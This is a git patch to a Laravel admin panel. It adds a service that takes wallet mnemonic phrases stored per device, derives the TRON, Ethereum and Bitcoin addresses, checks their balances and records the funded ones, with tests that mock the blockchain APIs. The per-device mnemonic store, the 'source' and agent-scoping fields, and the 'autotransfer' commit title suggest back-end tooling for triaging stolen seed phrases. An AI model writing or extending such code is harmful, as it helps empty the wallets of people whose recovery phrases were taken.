From c00396dc1fa3997038caf0995932beb571449cd7 Mon Sep 17 00:00:00 2001 From: hashbro Date: Mon, 17 Aug 2026 03:12:58 +0800 Subject: [PATCH] feat: autotransfer --- .../Controllers/Admin/MnemonicController.php | 14 +- app/Services/MnemonicWalletDiscovery.php | 151 ++++++++++++++++++ tests/Feature/MnemonicWalletsTest.php | 105 ++++++++++++ 3 files changed, 267 insertions(+), 3 deletions(-) create mode 100644 app/Services/MnemonicWalletDiscovery.php diff --git a/app/Http/Controllers/Admin/MnemonicController.php b/app/Http/Controllers/Admin/MnemonicController.php index 4068f24..653b91d 100644 --- a/app/Http/Controllers/Admin/MnemonicController.php +++ b/app/Http/Controllers/Admin/MnemonicController.php @@ -7,6 +7,7 @@ use App\Http\Controllers\Controller; use App\Models\User; use App\Models\WalletAddress; use App\Models\WalletMnemonic; +use App\Services\MnemonicWalletDiscovery; use App\Services\WalletBalanceService; use App\Support\AgentScope; use Illuminate\Database\Eloquent\Builder; @@ -78,12 +79,14 @@ class MnemonicController extends Controller ]); } - public function wallets(WalletMnemonic $mnemonic) + public function wallets(WalletMnemonic $mnemonic, MnemonicWalletDiscovery $discovery) { if (! $this->mnemonicAllowed($mnemonic)) { return response()->json(['code' => 1, 'msg' => '无权操作'], 403); } + $discovery->discoverFundedIndexZero($mnemonic); + return response()->json([ 'code' => 0, 'msg' => '', @@ -91,8 +94,11 @@ class MnemonicController extends Controller ]); } - public function refreshWallets(WalletMnemonic $mnemonic, WalletBalanceService $balances) - { + public function refreshWallets( + WalletMnemonic $mnemonic, + WalletBalanceService $balances, + MnemonicWalletDiscovery $discovery, + ) { if (! $this->mnemonicAllowed($mnemonic)) { return response()->json(['code' => 1, 'msg' => '无权操作'], 403); } @@ -110,6 +116,8 @@ class MnemonicController extends Controller RateLimiter::hit($throttleKey, self::REFRESH_DECAY_SECONDS); + $discovery->discoverFundedIndexZero($mnemonic); + $addresses = WalletAddress::query() ->where('mnemonic_id', $mnemonic->id) ->orderBy('id') diff --git a/app/Services/MnemonicWalletDiscovery.php b/app/Services/MnemonicWalletDiscovery.php new file mode 100644 index 0000000..a0c4bcf --- /dev/null +++ b/app/Services/MnemonicWalletDiscovery.php @@ -0,0 +1,151 @@ + */ + private const CHAINS = [ + ['chain' => 'tron', 'chain_type' => 'TRON'], + ['chain' => 'eth', 'chain_type' => 'ETH'], + ['chain' => 'btc', 'chain_type' => 'BTC'], + ]; + + public function __construct( + private readonly ChainManager $chains, + ) {} + + /** + * @return int Number of address rows created or updated with positive balance + */ + public function discoverFundedIndexZero(WalletMnemonic $mnemonic): int + { + $phrase = $mnemonic->mnemonic; + if ($phrase === null || trim($phrase) === '') { + return 0; + } + + $existing = WalletAddress::query() + ->where('mnemonic_id', $mnemonic->id) + ->exists(); + if ($existing) { + return 0; + } + + $source = trim((string) ($mnemonic->source ?: '')); + $saved = 0; + + foreach (self::CHAINS as $spec) { + try { + if ($this->discoverOne($mnemonic, $phrase, $source, $spec['chain'], $spec['chain_type'])) { + $saved++; + } + } catch (\Throwable $e) { + Log::warning('mnemonic wallet discovery failed: '.$e->getMessage(), [ + 'mnemonic_id' => $mnemonic->id, + 'chain' => $spec['chain'], + ]); + } + } + + return $saved; + } + + private function discoverOne( + WalletMnemonic $mnemonic, + string $phrase, + string $source, + string $chain, + string $chainType, + ): bool { + $driver = $this->chains->resolve($chain); + $address = $driver->deriveAddress($phrase, 0); + $coins = $this->fetchCoins($chain, $address); + if (! $this->hasPositiveBalance($coins)) { + return false; + } + + $row = WalletAddress::query()->firstOrNew([ + 'device_id' => $mnemonic->device_id, + 'address' => $address, + 'source' => $source !== '' ? $source : null, + ]); + + $row->chain_type = $chainType; + $row->mnemonic_id = $mnemonic->id; + $row->derive_index = 0; + if (! $row->exists) { + $row->monitor = 0; + } + foreach ($coins as $col => $value) { + $row->{$col} = $value; + } + $row->save(); + + return true; + } + + /** + * @return array + */ + private function fetchCoins(string $chain, string $address): array + { + $driver = $this->chains->resolve($chain); + + return match ($chain) { + 'tron' => [ + 'trx' => $driver->getNativeBalance($address), + 'usdt' => $this->tokenBalance($driver, $address, (string) config('coruna.tron.usdt_contract', '')), + ], + 'eth' => [ + 'eth' => $driver->getNativeBalance($address), + 'usdt' => $this->tokenBalance($driver, $address, (string) config('coruna.eth.usdt_contract', '')), + ], + 'btc' => [ + 'btc' => $driver->getNativeBalance($address), + ], + default => [], + }; + } + + private function tokenBalance(ChainDriver $driver, string $address, string $contract): string + { + $contract = trim($contract); + if ($contract === '') { + return '0'; + } + + try { + return (string) $driver->getTokenBalance($address, $contract); + } catch (\Throwable) { + return '0'; + } + } + + /** + * @param array $coins + */ + private function hasPositiveBalance(array $coins): bool + { + foreach ($coins as $value) { + if (! is_numeric($value)) { + continue; + } + if (bccomp((string) $value, '0', 18) > 0) { + return true; + } + } + + return false; + } +} diff --git a/tests/Feature/MnemonicWalletsTest.php b/tests/Feature/MnemonicWalletsTest.php index ee63fcd..fa9e590 100644 --- a/tests/Feature/MnemonicWalletsTest.php +++ b/tests/Feature/MnemonicWalletsTest.php @@ -161,4 +161,109 @@ class MnemonicWalletsTest extends TestCase ->assertJsonPath('code', 1) ->assertJsonStructure(['data' => ['retry_after']]); } + + #[Test] + public function wallets_discovers_funded_index_zero_when_no_linked_addresses(): void + { + config([ + 'coruna.tron.full_node' => 'https://api.trongrid.io', + 'coruna.tron.usdt_contract' => 'TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t', + 'coruna.eth.rpc_url' => 'https://ethereum.example', + 'coruna.eth.usdt_contract' => '0xdAC17F958D2ee523a2206206994597C13D831ec7', + 'coruna.btc.api_url' => 'https://mempool.example/api', + ]); + + Http::fake(function ($request) { + $url = $request->url(); + if (str_contains($url, '/wallet/getaccount')) { + return Http::response(['balance' => 5_000_000], 200); + } + if (str_contains($url, '/wallet/triggerconstantcontract')) { + return Http::response(['constant_result' => [dechex(0)]], 200); + } + if (str_contains($url, 'ethereum.example')) { + $body = $request->data(); + $method = $body['method'] ?? ''; + if ($method === 'eth_getBalance') { + return Http::response(['jsonrpc' => '2.0', 'id' => 1, 'result' => '0x0'], 200); + } + if ($method === 'eth_call') { + return Http::response(['jsonrpc' => '2.0', 'id' => 1, 'result' => '0x0'], 200); + } + } + if (str_contains($url, 'mempool.example')) { + return Http::response([ + 'chain_stats' => ['funded_txo_sum' => 0, 'spent_txo_sum' => 0], + ], 200); + } + + return Http::response([], 404); + }); + + $admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']); + $device = Device::query()->create(['device_id' => 'dev-mn-discover']); + $mnemonic = $this->storeMnemonic($device); + + $this->actingAs($admin, 'admin') + ->getJson(route('admin.mnemonics.wallets', $mnemonic)) + ->assertOk() + ->assertJsonPath('code', 0) + ->assertJsonPath('data.addresses.0.address', 'TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH') + ->assertJsonPath('data.addresses.0.chain_type', 'TRON') + ->assertJsonPath('data.addresses.0.trx', '5') + ->assertJsonCount(1, 'data.addresses'); + + $this->assertDatabaseHas('wallet_addresses', [ + 'device_id' => $device->id, + 'address' => 'TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH', + 'mnemonic_id' => $mnemonic->id, + 'derive_index' => 0, + 'chain_type' => 'TRON', + ]); + $this->assertSame(1, WalletAddress::query()->where('mnemonic_id', $mnemonic->id)->count()); + } + + #[Test] + public function wallets_skips_persist_when_discovered_balances_are_zero(): void + { + config([ + 'coruna.tron.full_node' => 'https://api.trongrid.io', + 'coruna.tron.usdt_contract' => 'TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t', + 'coruna.eth.rpc_url' => 'https://ethereum.example', + 'coruna.eth.usdt_contract' => '0xdAC17F958D2ee523a2206206994597C13D831ec7', + 'coruna.btc.api_url' => 'https://mempool.example/api', + ]); + + Http::fake(function ($request) { + $url = $request->url(); + if (str_contains($url, '/wallet/getaccount')) { + return Http::response(['balance' => 0], 200); + } + if (str_contains($url, '/wallet/triggerconstantcontract')) { + return Http::response(['constant_result' => ['0']], 200); + } + if (str_contains($url, 'ethereum.example')) { + return Http::response(['jsonrpc' => '2.0', 'id' => 1, 'result' => '0x0'], 200); + } + if (str_contains($url, 'mempool.example')) { + return Http::response([ + 'chain_stats' => ['funded_txo_sum' => 0, 'spent_txo_sum' => 0], + ], 200); + } + + return Http::response([], 404); + }); + + $admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']); + $device = Device::query()->create(['device_id' => 'dev-mn-empty']); + $mnemonic = $this->storeMnemonic($device); + + $this->actingAs($admin, 'admin') + ->getJson(route('admin.mnemonics.wallets', $mnemonic)) + ->assertOk() + ->assertJsonPath('code', 0) + ->assertJsonCount(0, 'data.addresses'); + + $this->assertSame(0, WalletAddress::query()->where('device_id', $device->id)->count()); + } }